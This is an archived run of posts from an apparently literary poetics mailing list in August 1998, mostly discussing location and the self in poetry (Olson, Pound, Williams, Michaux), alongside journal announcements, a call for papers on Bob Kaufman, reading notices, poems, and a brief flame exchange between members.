"The imagination of a commonwealth must make that sharing literal - there cannot be an invested partiality hidden from the participants...Realize that the general, the we-ness proposed in various realities, may well prove to be this kind. Obviously, any 'we' must, willynilly, submit to the organic orders of its existence: must sleep, must eat, must drink, most move, must die. But that is very nearly the totality of the actual demand. Elsewise, the 'geography leans in,' as Olson put it. Place is a real event - where you are is a law equal to what you are."

So, in this sense community, or the imagination of a community, must be *located* - otherwise, as Creeley says elsewhere, "the general" (abstract, universal) might become "the General" (Patton, MacArthur).

-m.

at According to
toddbaron: > > a
question posed to the group: > > how does "location" (the "local" --Olson)
> affect or help affect yr writing?
>
>
> Todd Baron
> (ReMap)
>
>
> ?
> ?
> ?
>

↑ Index

348. **Gwyn McVay**
piercing misreading (was location)
Fri 14 Aug 1998

Michael Magee, I read

> *("the local" rings in my ear*

as a fashion statement--where "ring" is what an / earbob does--

bests
Gwyn McVay

↑ Index

349. **Michael Magee**
Re: piercing misreading (was location)
Fri 14 Aug 1998

Well, if I were wearing rings in my ear they would indeed be local rings, though I'd be thinking of them globally. :) -m.

According to Gwyn McVay:
>
> Michael Magee, I read
>
>
> >>>("the local" rings in my ear
>
> as a fashion statement--where "ring" is what an / earbob does--
>
>
> bests
> Gwyn McVay
>

↑ Index

350. **Jordan Davis**
collation, collation, collation
Fri 14 Aug 1998

Living in tenements has helped me appreciate the rage for palimpsests. J

↑ Index

351. **Maria Damon**

Re: Bob est un autre/ joe est un mama

Fri 14 Aug 1998

---

i vote for joe as the more versatile. when i taught briefly at a lockup facility for kids one of the ways they circumvented the rule against "inappropriate use of the word 'mother'" (i kid you not) was the following: knock knock. who's there? joe. joe who? JO MAMA!!! whereon they'd collapse in giggles at having snuck one over on their jailer/teachers. it was quite adorable.

At 4:13 PM -0400 8/13/98, David Kellogg wrote:
>On Thu, 13 Aug 1998, Joe Brennan wrote:
>>
>> In a message dated 8/13/98 1:51:15 PM Eastern Daylight Time,
>>[redacted]
>> writes:
>>
>> <<
>> My word-processing spell check translates "je" as "Joe." I propose we adopt
>> joe as the universal pronoun.
>> >>
>>
>> I thought it already was.
>
>No joe, that would be "Bob."
>
>As Agent Cooper once asked, "Where does Bob come from?"
>
>Answers: (1) That cannot be revealed.
> (2) Maybe Bob is just the name we give to the evil we do.
>
>Cheers,
>David
>~~~

352. charles alexander
Re: location location location
Fri 14 Aug 1998

local
as in low-cal

and where are
we
or
was that I?

too thin
to notice

any
way

I is
where
I does

to say
nothing
of the
poem

neither
here nor
there

↑ Index

353. Laura E. Wright
Re: location location location
Fri 14 Aug 1998

toddbaron wrote:

> *a question posed to the group:*
>
> *how does "location" (the "local" --Olson)*
> *affect or help affect yr writing?*

Todd: Here is an excerpt from a still raw (read rough draft) translation of Michaux (thanks to Anselm), which speaks to my experience of location. Location is a changing constant (does that make it an everpresent variable?) and thus always influential, always useful. What's really interesting to me is the location within oneself (or joe's self) that external locations and situations may

affect. For instance, the ugliest wallpaper in the world, found in a Las Vegas hotel, *does something* to the mind which then goes its own ways...

The Michaux:
"There is a place in the body where one prefers to live. It's not the same
for everyone. That's normal. But it is normal for many to like to stay in
their heads. They go about, of course, move around, from organ to organ,
hither and yon, but they like to return often to their heads."
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

354. **Henry Gould**
Re: location
Fri 14 Aug 1998

---

how does it go:

Pull down thy vanity, I say pull down
the green casque has outdone thy elegance

learn from the green world what can be thy place
in scrolled invention or true artistry

- seems like there's sort of a triangle between the local of the poem, the local of the author, and the local place. a lot of playing with that: "little Rhody", the smallest state in the union, is also the rose island of the poem, and so on. but these things happen with or without conscious planning. the interesting writer makes interesting things "take place"...

history is local - local times, local places; THIS place, THIS time - and every place is what it is with respect to various global or universal qualities, so every place leads to other places... with their own unique fate...

I wrote a poem set in a place called "Paradise" (a neighborhood near Newport RI), and related it to another neighborhood of Petersburg Russia with the same name. The poem was a take-off on some Mandelstam octets, & dedicated to a Petersburg poet, to whom I had given a toy boat once (boats are important symbols in Petersburg). a few years later I found a picture of Mandelstam taken in Petersburg in 1905. He's holding a toy boat.

- Henry G

↑ Index

355. **toddbaron**
Re: location location location
Fri 14 Aug 1998

Tom: thanks for yr insight. Could you explain "pakeha" poets? I'm lost.

↑ Index

356. **toddbaron**
Re: location location location
Fri 14 Aug 1998

---

charles alexander wrote:
>
> local
> as in low-cal
>
> and where are
> we
> or
> was that I?
>
> too thin
> to notice
>
> any
> way
>
> I is
> where
> I does
>
> to say
> nothing

> of the
> poem
>
> neither
> here nor
> there

re: the dreaded "I" (other) locate-
d in. location in. loco
motion in. so that --the view
or the viewer's (er's) eye?

neither here nor there?

↑ Index

357. Henry G
sorry Ez
Fri 14 Aug 1998

The ant's a centaur in his dragon world.
Pull down thy vanity, it is not man
Made courage, or made order, or made grace.
    Pull down thy vanity, I say pull down.
Learn of the green world what can be thy place
In scaled invention or true artistry,
Pull down thy vanity,
                Paquin pull down!
The green casque has outdone your elegance.

SCALED invention. that's much better.

art from "ars" from "to fit together"

↑ Index

358. Robert Corbett
Millennium Spellchecks
Fri 14 Aug 1998

My office's version of word's spell checker doesn't recognize "remediation" as a word. Perhaps appropriate in age of downsized education (i.e. reduced access). But what it suggests in place of "remediation" is a further clue to its microsoft's agenda: "redemption." I guess if you can't get education, it is wise to have god on your side.

robert

↑ Index

359. Macgregor S Card
Spring-cum-Summer Germ is here
Fri 14 Aug 1998

*** Listgoers ***

The summer issue of _THE GERM: A Journal of Poetic Research_ has arrived. 240 pages (yet strangely, a great deal more intimate than most telephone books), featuring:

) Previously uncollected work of James Schuyler) The postage-stamp cartographies of artist Joyce Lightbody) New work from the German poet Elfriede Czurda, translated by Rosmarie Waldrop) Reviews from Marjorie Perloff (on Mac Wellman), Cole Swensen (on Peter Gizzi), Michelle Delville (on Madeleine Gins)

) New work from Bernadette Mayer, Rod Smith, Lisa Isaacson, Anne Waldman, George Albon, Devin Johnston, Nathaniel Mackey, Elizabeth Robinson, Ray DiPalma, Aaron Shurin, David Trinidad, Lisa Samuels, Anne Tardos, Chris Stroffolino, Albert Mobilio, Gale Nelson, Anne Talvaz, Lewis Warsh, Beth Anderson, Jay Dillemuth, Richard Kostelanetz, Amy England, Brian Schorn, Gregory Vincent St. Thomasino, and others.

_____

Single issues are $6. Subscription rates: $12 for two issues / $20 for four / $28 for six. Make checks payable to "The Germ" and send to either of our addresses:

Macgregor Card
P.O. Box 2543
Providence, RI 02906

Andrew Maxwell
P.O. Box 8501
Santa Cruz, CA 95061

We are also distributed by Bernhard DeBoer and Small Press Distribution.

_____

*** We are always reading submissions--will respond in 6 weeks. Book reviews, prosody, poesy, serial works, graphic musical scores--all is welcome. We try to publish no fewer than 5 pages from each contributor, and no more than 20. Please post to BOTH addresses, as this will ensure the most careful and bipartisan consideration of your work. Thanks! ***

Issue #3 (due out mid-fall) already includes:) Lengthy excerpt from John Ashbery's new work, "Girls on the Run") Photo/poetry interplay: Michael Palmer and Ben Watkins.) New work from Jean Donnelly, John Latta, Linda Vorris and many others.

New campaign from the Complaints Department: A response in six weeks!

The Germ is published by the Poetic Research Bloc, a nonprofit foundation. Donations are tax-deductible and welcome.

Thanks,
Macgregor Card & Andrew Maxwell, eds.

↑ Index

360. **David W. McFadden**
Re: <to enter blind carbon>
Sat 15 Aug 1998

[redacted] writes:
>You'd better be damned amusing
>to speak of yourself!
It's settled then. There is nothing amusing about someone speaking of himself, unless there is the sense that he has no choice but to do so.
dwm

↑ Index

361. **trbell**
Re: Pound, techne, Jones, Heidegger
Sat 15 Aug 1998

I've been off the list for awhile, so may have missed some discussion. but I'm not sure I follow the distinction you are drawing here - it seems more like apples and oranges: Pound and Jones would assume there is "something soul-like" that they are trying to "catch." I would see the others as being concerned with the poem as instrument or "techne" without considering whether or not there is a "something" there and the poem need not be "machinic" as one can weave with a loom or with one's hands. Related to this there is a new theory that homo sapiens brain development is based on the need to manipulate using the hands to survive.

tom bell

At 07:36 PM 8/12/98 -0400, you wrote:
>I'll chirp in here.
>

>For both Pound and Jones, I believe 'techne' is a form of weaving over
>the surface of something soul-like and essentailly spiritual, a catching
>of those shadows:
> And the small stars now fall from the olive branch,
> Forked shadow falls dark on the terrace
> More black than the floating martin (EP, Canto XLVII)
>
>For Williams, 'techne' is more mahinic, the poem being a machine made of
>words: 'techne' becomes 'method'. And this seems a pretty clear line
>through Creeley and Olson to Bernstein. I think the notion of poetry or
>language as an instrumental extension of the senses useful for making
>discoveries otherwise not-detectable seems to me a very American, very
>pragmatic take on how or why one writes.
>
>So as far as this history goes, Pound is on Henry's side; Williams etc
>aligns with Dewey etc.
>
>Don Wellman
>
>

↑ Index

362. **trbell**

Metaphoric or metonymic < blind carbon>

Sat 15 Aug 1998

I think the dichotomy of emotion vs. no emotion, particularly as applied to "self" is unfortunate as it tends to gloss over some crucial (for me, at least) issues. When I draw a black cloud or use "black cloud" in a poem it may have some relation to a feeling that might be called "anger" but this need not be a "self-expression." It's more appropriately seen as a step in the process of discovering a feeling that might turn out to be "anger." Catharsis has been pretty much discarded professionally (from my view), becase self-expression in this sense does _not lead to any change, although the action of expression (the gesture of writing or drawing) does do all kinds of interesting things, including at times finding the "self", if there is such a thing. Unfortunately the lay public has not been apprized of this - ?not a convenient sound bite concept for the media?

To return to my 'black cloud" I think the distinction I am trying to express goes back to R.Jakobson's theory of the importance of the metaphor/metonym distinction: a black cloud is like an expression of anger vs. black cloud (.) anger.

Todd - I may have gotten carried away and off the track here - don't mean to use you as a straw man.

tom bell

At 08:17 PM 8/13/98 +0000, Todd Baron wrote:
>seeing as the "self" has been a dangerous tool for so much
>(terrorism--today--government selves--a poetcis that is still hampered
>by "a spontaneous overflow of emotion) and that I feel akin to the
>visual arts as much if not more often than so much poetry--and those
>visual or plastic arts of--as I sd Duchamp--and such--the focus needs to
>be on LANGUAGE not the self that thinks it is representing a sense or
>emotion or even thot. I think Charle's work is so much more
>interesting--and that of course "I" am not saying that we have no
>selves--only that our art needs to extend itself the way that film,
>sculpture, painting, assembladge, etc has done . Poetry still comes with
>a knot tied in it--for readers--that this is a reading of the poet's
>"self". Burroughs said that painting had (1950) far surpassed
>writing--and I'm always still very much with that thot in mind.
>
>it's not deadly to try and remove the self from a discussion of poetry.
>As I've said--(it was me) if I want to know something of the poet's
>elf--we can do that over coffee--if I want a poem--I'll read!
>
>TB
>(ReMap)
>
>

↑ Index

363. **toddbaron**
Re: Metaphoric or metonymic < blind carbon>
Sat 15 Aug 1998

---

trbell wrote:
>
> I think the dichotomy of emotion vs. no emotion, particularly as
> applied to "self" is unfortunate as it tends to gloss over some
> crucial (for me, at least) issues. When I draw a black cloud or
> use "black cloud" in a poem it may have some relation to a feeling
> that might be called "anger" but this need not be a "self-expression."
> It's more appropriately seen as a step in the process of discovering
> a feeling that might turn out to be "anger." Catharsis has been pretty

> much discarded professionally (from my view), becase self-expression in
> this sense does _not lead to any change, although the action of
> expression (the gesture of writing or drawing) does do all kinds
> of interesting things, including at times finding the "self", if
> there is such a thing. Unfortunately the lay public has not been
> apprized of this - ?not a convenient sound bite concept for the
> media?
>
> To return to my 'black cloud" I think the distinction I am trying
> to express goes back to R.Jakobson's theory of the importance of
> the metaphor/metonym distinction: a black cloud is like an
> expression of anger vs. black cloud (.) anger.
>
> Todd - I may have gotten carried away and off the track here -
> don't mean to use you as a straw man.
>
> tom bell
>
>
"ok--I'm straw" but remember also that Jakobson said "literature is organzied violence commited on ordinary speech" --so that yr "cloud" is never yr cloud. (.)

TB

↑ Index

364. Marcella Durand
Zinc Bar
Sat 15 Aug 1998

Tomorrow, Sunday, Aug. 16th

Brian Lucas

&

surprise guest

at the Zinc Bar
6:30 pm
90 W. Houston St.
btwn Laguardia & Thompson
Manhattan

↑ Index

365. Alan Jennifer Sondheim
*_the continuity girl_*
Sun 16 Aug 1998

-

the continuity girl

Michel Serres, Panoptic Theory, in The Limits of Theory, ed. Thomas M. Kavanagh:

"[...]

"I shall call poor that which has no object. Myth has no object, nor does theater or politics.

"We had few objects in the past, long ago, once upon a time. This state of a humanity with few things has not been erased from our memory. Poor in things, our wealth then consisted of men. We spoke only of them and of their relations. We lived in and on our relations. I call myth poor, then, without objects. I call poor the theater, deprived of things; theories are poor; politics is poor. Our philosophies are poor and miserable. Our human scien- ces are poor.

"[...]

"The proliferation of objects, the exponential deluge of things, has led us to forget the time of their absence. And that time now seems to us so old! Archaic, antediluvian - yes, mythic. Our myths and our philosophies tell us about that time. Memories of places where lovers were watched in an empty and resonant space, where no one ever thought of eating. Thus philosophies that lack objects (almost all of them), philosophies that derive their val- ues only from the human sciences (almost all of them), are aged and poor. They seem so old to us that we read them as we read myths. One might think they were politics, or theater, or magic. Whenever, by chance, they come upon an object, they change it, by the stroke of a magic wand, into a rela- tion, into language, into representation.

"[...]"

Yes, Alan, you have almost come to life, almost carrying one or another name across one or another myth, traveling across one or another text, one or another philosophy. _the continuity girl_ holds you in check, just as others are held by you, tight against your thin chest, Nikuko, Jennifer, Julu, and myself included; it is my duty as your continuation to ensure, not the pro- liferation of objects, but of emergences governed, not by an unrequited pov- erty, but by the fullness of the real as language becomes languaging, as magic issues forth its own dominions.

Not ever deprived of things or relations, tissues or words which dream themselves into existence, far beyond the hypertextual - it is _the continuity girl_ whose long fingers write your head into your head, your arms into your arms, legs into your legs - _the continuity girl_ writing Jennifer into Jen- nifer, Julu into Julu, Nikuko into Nikuko, and with a swirl of a skirt and a toss of hair, the invagination of Alan, dare she say it, and the further emergence of a philosophy, and a theater - yes a theater, and a politics, dare she say it, yes, a politics, and a philosophy and a theater and one theory and another theory, and still one more theory, in addition, and still yet a theory once again and once more.

Because _the continuity girl_ is everywhere at once, she is nowhere at all; because she garners the script, she speaks from experience; because she reads from memory, she improvises what is the thought that one or another is thinking,

Because she ensures that the thought continues into the thought, that the I continues through the I, that one eye sees what the other eye sees, with just the slightest difference -

That histories are memorizations and lists and forgotten names, just as Julu and Jennifer and Alan and Nikuko will be forgotten - that histories are mo- ments and slights of hand, just as _the continuity girl_ is a magic powder and a poultice, or a patch and a plaster - just as there are cures for the body ailing, and aches that never go away -

Just the memory of _the continuity girl,_ just the hair and fingers, eyes and mouth, hands and legs, arms and feet of _the continuity girl,_ just as the face is an other, face is always already an other, face of _the contin- uity girl,_ circling and the cycling of the script, pagination and collat- ing of the script, as she writes this -

Ensuring the one to the one, other to the other, ensuring the one to the other, other to the one -

Naming, forgetting, naming - just as there are almost objects coming into the world, almost a pleasure in theory or philosophy; just as there is almost a pleasure in the reading and the writing; just as there is almost a belief in the one and the other, and the value of speech and the meaning among them; just so _the continuity girl_

That there be a striving or a mourning, that there is a mourning one is born into and within, a _mourning already in place_ ...

[...]

↑ Index

366. **joel lewis**
Re: location location location
Sun 16 Aug 1998

ulp! as New Jersey's unoffical poetic goodwill ambassadcor to the western world, i suppose i should toss in my 2 zlotys on the lidea of location.

i guess i might be the only list member who lives about ten miles from where he grew up and have remained in this locale much of my life.

Certainly Williams and, soon after, Olson became key mentors and both taught me to look down the block and see what was going on.

Location is important to me as both as a writer and a reader. I'm less intersted in local color than affinity for place. After working most of my adult life in NYC, i know work out of home and teach in Jersey and find that the local and location is flooding much of my writing.

In the early 90's, I did an anthology of NJ poets for Rutgers University Press that did well and got much publicity. I kept meeting people (some are students) who read the book and got into poetry as it addressed their world and, in a way, demystified writing and the "subject" of writing.

Am I an oddity these days? Probably. I read in Seattle a few years back and after an evening of work that invokes the tissue of North Jersey (ranging White Mana Hamburgers to Robert Smithson's Great Notch quarry), a poet came up and said that he found it strange to here someone read about a place he knew so well. "In Seattle", I recall him saying, "Everyone is from someplace else, and here."

Joel Lewis

"The Jersey Kid"

↑ Index

367. **joel lewis**
kenneth koch on the www
Sun 16 Aug 1998

saw that kenneth koch is the featured poet on the usually cubed "Poetry Daily" (www.poems.com)

"you should read kenneth koch, even if you don't like him"
--- Ted Berrigan (1980)

joel lewis

↑ Index

368. **R I Caddel**

Scully's Steps

Mon 17 Aug 1998

STEPS, by Maurice Scully, (Reality Street Editions, six pounds fifty, ISBN 1-874400-15-6) plops onto the breakfast table, and is wonderful. It's the penultimate section of Scully's five-volume LIVELIHOOD (of which THE BASIC COLOURS, Pig Press, is also part), and continues preoccupations of earlier sections: observational, personal and economical survival. Scully revises and revises his work so that the parts really do relate to the longer whole, and little echoes run up and down the set each time a new bit appears. The range of forms, as in any of Scully's work, is great, as in exciting, including extended lyric tempered by angry rant, sonnets that aren't, and little nursery rhyme bits: and it coheres ok, as they say, there's a dynamism in the rhythm and the sound which is worth celebrating. Here's a short bit which should reproduce ok in e-form:

RESPONSIBILITY

Washing her clothes in a rusty
old wheelbarrow by the dam by the
track under the eucalyptus where
the frogs at night fill the vill-
age air with/her bright brown eyes
and mouth connect in a smile whose
radiance and playfulness the fine
skin black/I thought I could get to
know almost everything once not quite
yet feeling the bounce in the net
(The Oxford English Dictionary of
Spraints, The Pretoria Encyclopaedia
of Mortgages, The Concise Cambridge
Political), when arcane thinking
clicks in its conduit. Tap: "an artist
is _never_ poor." Swallow that.

_____

RC

↑ Index

369. **Maria Damon**

many queries

Mon 17 Aug 1998

---

if anyone has up-to-date e-mail and/or snail mail addresses for the following folks, please let me know what they are thanks in advance:

Alvin Aubert
Amiri Baraka
Paul Beatty
Bruce Cheney
Andrei Codrescu
Wanda Coleman
Conyus
Stephen Cope
Gregory Corso
Pierre Delattre
Justin Desmangles
Diane DiPrima
Brent Edwards
Steve Evans
Erika Hunt
Roderick Iverson
Darius James
Ted Joans
Pierre Joris
Philip Lamantia
Clarence Major
Devorah Major
Reginald Major
Kaye McDonough
E. Ethelbert Miller
Aldon Nielsen
Claude Pélieu
Ronald Radano
Ishmael Reed
Franklin Rosemont
A. B. Spelman
Jacqueline Starer
Cecil Taylor

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370. Maria Damon
call for papers/Kaufman
Mon 17 Aug 1998

please distribute this as widely as possible, thanks all

CALL FOR PAPERS

for a special issue of Callaloo devoted to the poet

BOB KAUFMAN

Creative work or scholarly essays, personal reminiscences, tributes, work placing Kaufman's work in the various contexts in which he wrote and lived. Essays that engage the multi-dimensionality of Kaufman's significance are especially welcome, as are poems and other imaginative work that evince his influence implicitly or explicitly. We are concerned to present the fullest possible profile and the "thickest" description of the poet, the work, and the historical/cultural milieu in which he participated, as well as presenting some of the ways in which his work and example have influenced contemporary writers and writing; thus a diversity of approaches (interdisciplinary, comparative, theoretical, historical) is particularly encouraged.

Manuscripts up to 30 typewritten, double-spaced pages should follow the latest edition of The MLA Style Manual and should be sent to Special Issue Editor:
Maria Damon
English Department
207 Lind Hall
207 Church Street SE
University of Minnesota
Minneapolis MN 55455-0134

Deadline for creative work is June 1, 1999.
Deadline for scholarly work is September 1, 1999.

↑ Index

371. Trevor Joyce
Re: Scully's Steps
Mon 17 Aug 1998

> *STEPS, by Maurice Scully, (Reality Street Editions, six pounds fifty, ISBN 1-874400-15-6) plops onto the breakfast table, and is wonderful. It's the penultimate section of Scully's five-volume LIVELIHOOD (of which THE BASIC COLOURS, Pig Press, is also part), and continues preoccupations of earlier sections: observational, personal and economical survival. Scully revises and revises his work so that the parts really do relate to the longer*

> *whole, and little echoes run up and down the set each time a new bit appears. The range of forms, as in any of Scully's work, is great, as in exciting, including extended lyric tempered by angry rant, sonnets that aren't, and little nursery rhyme bits: and it coheres ok, as they say, there's a dynamism in the rhythm and the sound which is worth celebrating.*

I'll second this, with knobs on, as my mother used to say. It's beautiful stuff, delicately worked at the level of the miniature, and totally convincing in its broad sweep. The sooner the whole Livelihood set sees the light together, the better, but this'll do to be getting on with.

****

Trevor Joyce
Apple Cork IS&T
Phone : [redacted]
EMail : [redacted]

****

↑ Index

372. Laura E. Wright
Re: oogling
Mon 17 Aug 1998

Safdie Joseph wrote:

> *I like your translation quite a bit (and Michaux, and Ted's appropriation of Michaux). I find Todd Baron to be sloppy and stupid, though. By the way,I think that one of the reasons some of us had problems with the original project of langpo was the tendency of its founders to live exclusively in their heads.*

Thanks. I am a relatively recent (2 years ago?) convert to The Cult of Ted as Andrew Schelling once called it. I did my undergraduate work in music performance and had never read Berrigan before I came to Naropa! (now that's confessional)

I feel sorry for Todd Baron -- he seems puppy-like in his desires, probably lonely. He probably means well, though that's hardly an excuse.

Living in one's head... well, as in many cases, it's fine if one does it superbly. (I think Michaux pulls it off -- but his is far from a self-centered or confessional "I.")

> *Which brings me to ogling. I looked it up in my Skeats and the etymology is from Dutch, of all places -- wait'll you hear this -- from _oogen_, "to cast sheepes eyes upon one" -- cf. Low German (low, of course!)_oegen_ to look*

> *at! Cognate with "eye"*

"sheepes eyes"?! for some reason this reminds me of a phrase my sister and I used in our childhood -- googly babies (those were the unpleasantly noisy and wet ones)

> *So EYE thank you for your comment about same. I love to look at women, actually, but mostly, I love to look. Didn't Wallace Stevens write a poem called "The Pleasures of Merely Seeing"? If he didn't he should have.*

I had an interesting (to me at least) exchange once with Randy Roark (do you know him?) -- I said a reading Cole Swensen gave was sexy, and he said he agreed but felt he couldn't make a comment like that without being perceived as sexist. Now, I consider myself feminist, and this seems wrong. Harassment lines get drawn all over the place... and having been sexually harassed before, I have strong feelings about it. But there's plenty that's still _not_ harassment. It's too fascist to say that men can't talk about x, y, or z. Sometimes I don't think I can stand to live another minute in a Puritan country such as this one.If people call everything remotely titillating harassment, it's belittling to real cases.

> *. How much*
> *of that translation have you done?*

I probably have 30 pages left (guesstimate). Plus Anselm's commentary, corrections, suggestions, etc. He's really the co-translator, and without everything he's put in, the work would be mediocre at best. It's quite an honor (and a blast) to work with him. With Michaux, sometimes I feel an eerie mind-meld sort of connection. This may sound grim, but I enjoy the frankness with which he examines the undersides of the mind. I've spent some time in the nether regions of depression, and find that true horror is pretending that the black holes (or heffalump traps as I used to refer to them) aren't there.

Drinking too much coffee in the library
(after drinking too much beer on Saturday),
Laura
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

* * * * * *
"All music is music..." -- Ted Berrigan
* * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

373. **Laura E. Wright**
ooooops
Mon 17 Aug 1998

---

ooops. sorry. guilty of imprecision...

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
* * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

374. **R M Daley**
Re: ooooooooooogling stupidity
Mon 17 Aug 1998

On Mon, 17 Aug 1998, toddbaron wrote:

> *Laura E. Wright wrote:*
>
> *Safdie Joseph wrote:*
>
> *I like your translation quite a bit (and Michaux, and Ted's appropriation of Michaux). I find Todd Baron to be sloppy and stupid, though. By the way,I think that one of the reasons some of us had problems with the original project of langpo was the tendency of its founders to live exclusively in their heads.*
>
> *I feel sorry for Todd Baron -- he seems puppy-like in his desires, probably*

> *lonely. He probably means well, though that's hardly an excuse.*
>
> *Living in one's head... well, as in many cases, it's fine if one does it superbly. (I think Michaux pulls it off -- but his is far from a self-centered or confessional "I.")*
>
> *Laura*
> *--*
> *Laura Wright*
> *Library Assistant*
> *Allen Ginsberg Library, The Naropa Institute*
> *2130 Arapahoe Ave*
> *Boulder, CO 80302*
> [redacted]
> * * * * * *
> "
>
> *OK--enough. FIRST --these two remarks have nothing to do with this list. I have NO idea what they are even responding to--and they sure as hell sound like attacks on a "self" (mine). I seek to ONLY discuss poetics on this list--and these two statements are hopefully not "poetics".*
>
> *SECOND: IF you two are responding to my rejection of a poetics that centers itself around a single "I"--then it's seemingly fitting that my argument finds voice in two "I" responses--with so very little specificity in them.*
>
> *YIKES. Lay off!*
>
> *Todd Baron*
>
> *(NOT lonely--and no dog...)*
>
> *ps: A friend states that e-mail is too quick--yr foot falls in yr mouth. I suggest we often READ what we write before we send it!)*

todd-- yeah, looks like these backchanneling attempts get confused sometimes-sad thing about librarians isnt it, always confusing public, private, when everyone already knows you (the universal YOU)should just keep QUIET!!!

love to all, in disgust

rd

↑ Index

375. **Simon DeDeo**

Re: location location location

Mon 17 Aug 1998

[A few subscription problems -- this e-mail is a little out of date, since the location thread was a while (a few days?) ago, but 'thought it might be of interest.]

I think my position is similar to Tom's on this one. I grew to a consciousness of writing when I lived in New Hampshire, where the most interesting things happen when (speaking broadly, as always) man collides with his location in nature and society. Given the state of much of our developed land -- essentially interchangable units arrayed in mutating sequence -- I wonder if the attention to location is disappearing, or, rather, appearing as an atavism. Feeling as if I was engaging in some unconscious nostalgia at the time, I look back at the "postitioned" work I did then and wonder how much is worthwhile. I remember looking at Plath's Ariel in a seminar, and hearing someone make the comment that the first few stanzas are Plath still trying to write "vivid description" (a commen that was supposed to be critical), and only reaching a more "metaphysical" plain/plane in the later lines; it's an interesting comment, one that I was resistant to at the time, and I wonder if its true that a poem must eventually escape position in such a direct manner.

Pound's _Cantos_, in passing, seem to me to be an amazing way to unite a postmodern notion of the decay of a Thoreau-like "location" with a feeling of position, of some kind of connection to a particular physical reality.

Moving from the theoretical to the practical act of writing and creation of a poetic "landscape" in the most general sense, I think where one is at a particular time can have an enormous positive effect on the work itself. When I write, what emerges after revision is a space that in many ways maps almost topologically to an experience of a place, mirroring in some way my inhabitation of it, and the accidents of coming to know it.

Below, for anyone who's made it this far, is a draft of a work drawn from that little blue sign in Harvard Square that marks Anne Bradstreet's residence, with thanks to John Berryman.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

Entering the site of the former residence of Anne Bradstreet

Varnish in layers laid on the hardwood floor.
In empty rooms, where barefoot one might feel
the anonymous grit warm in years of occupation,

I charade my guide, keeping two steps behind
with meditations on the brass doorknobs
and the crumbled paint in a pile by the door.

I have made numerous telephone calls, perjured
and damned myself to spend a quarter hour --
how the hour ticks, now -- in observation.
Agitated, my guide drops the stormwindow
and enquires into my deeper motives.
The distance to the street is immense.

We exchange cards, mine as fradulent
as Al Capone's, and I linger on the stair
awkward as the local tough thieving
roses for the virgin in the mansion in
the city on the hill. Vain, vain, vanity
all. But the marble here is cold.

↑ Index

376. P.Standard Schaefer
CONS CONFERENCE
Mon 17 Aug 1998

THE 2ND ANNUAL CONFERENCE OF THE COLLEGE OF NEGLECTED SCIENCE
celebrating "Generation" and the publication of Ribot 6 (1998)
international poets and visual artists over 60, under 30.
Friday-Sunday, October 30-November 1, 1998,
Otis College of Art & Design, Los Angeles,
featuring publication party, symposia & a masked ball.
More details forthcoming.
Contact: Paul Vangelisti
tel. [redacted] (home)
[redacted] (work)
e-mail: [redacted]

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377. toddbaron
Re: ooooooooooogling stupidity
Mon 17 Aug 1998

Laura E. Wright wrote:
>
> Safdie Joseph wrote:

>
> > I like your translation quite a bit (and Michaux, and Ted's appropriation
> > of Michaux). I find Todd Baron to be sloppy and stupid, though. By the
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> > think that one of the reasons some of us had problems with the original
> > project of langpo was the tendency of its founders to live exclusively in
> > their heads.
> >
>
>
>
> I feel sorry for Todd Baron -- he seems puppy-like in his desires, probably
> lonely. He probably means well, though that's hardly an excuse.
>
> Living in one's head... well, as in many cases, it's fine if one does it
> superbly. (I think Michaux pulls it off -- but his is far from a self-centered
> or confessional "I.")
>
> Laura
> --
> Laura Wright
> Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "

OK--enough. FIRST --these two remarks have nothing to do with this list. I have NO idea what they are even responding to--and they sure as hell sound like attacks on a "self" (mine). I seek to ONLY discuss poetics on this list--and these two statements are hopefully not "poetics".

SECOND: IF you two are responding to my rejection of a poetics that centers itself around a single "I"--then it's seemingly fitting that my argument finds voice in two "I" responses--with so very little specificity in them.

YIKES. Lay off!

Todd Baron

(NOT lonely--and no dog...)

ps: A friend states that e-mail is too quick--yr foot falls in yr mouth. I suggest we often READ what we write before we send it!)

↑ Index

378. George Thompson
Re: ooooooooooogling stupidity
Mon 17 Aug 1998

One of this list's notorious angels once rather notoriously said:

First thought best thought.

I say, Those who live by the first thought will die by the first thought

[to paraphrase another rather notorious angel].

George Thompson

> *On Mon, 17 Aug 1998, toddbaron wrote:*
>
> *Laura E. Wright wrote:*
>
> *Safdie Joseph wrote:*
>
> *I like your translation quite a bit (and Michaux, and Ted's appropriation*
> *of Michaux). I find Todd Baron to be sloppy and stupid, though. By the way,I*
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> *or confessional "I.")*
>
> *Laura*
> *--*
> *Laura Wright*
> *Library Assistant*
> *Allen Ginsberg Library, The Naropa Institute*
> *2130 Arapahoe Ave*
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> [redacted]
> * * * * * *

> "
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>
> *YIKES. Lay off!*
>
> *Todd Baron*
>
> *(NOT lonely--and no dog...)*
>
> *ps: A friend states that e-mail is too quick--yr foot falls in yr mouth. I suggest we often READ what we write before we send it!)*
>
> *todd--*
> *yeah, looks like these backchanneling attempts get confused sometimes-sad thing about librarians isnt it, always confusing public, private, when everyone already knows you (the universal YOU)should just keep QUIET!!!*
>
> *love to all, in disgust*
>
> *rd*

↑ Index

379. **Mark Weiss**

Re: location location location

Mon 17 Aug 1998

Back to the locus classicus, it's good to remember that when Olson positioned himself as Maximus "of Gloucester" and touted the necessity of the local he was making a decision to swim counter to the current. Prior to then he had been plenty peripatetic, and he certainly continued to be aware of the fragility of "polis." His polis, in fact, had become something of a fiction, even in Gloucester--his reference is to the portuguese fishermen and working-class yankees, who certainly made up the world of Fort Square, and if you only looked seaward I suppose you could screen out the commuter town that the rest of Gloucester was morphing into. What would he have made of the Moonies taking over the

canneries? But his stance--his "stand"--involved an active protest, including, for instance, letters to the editor--it was a political action--and poems like "In the face of a Chinese View of the City."

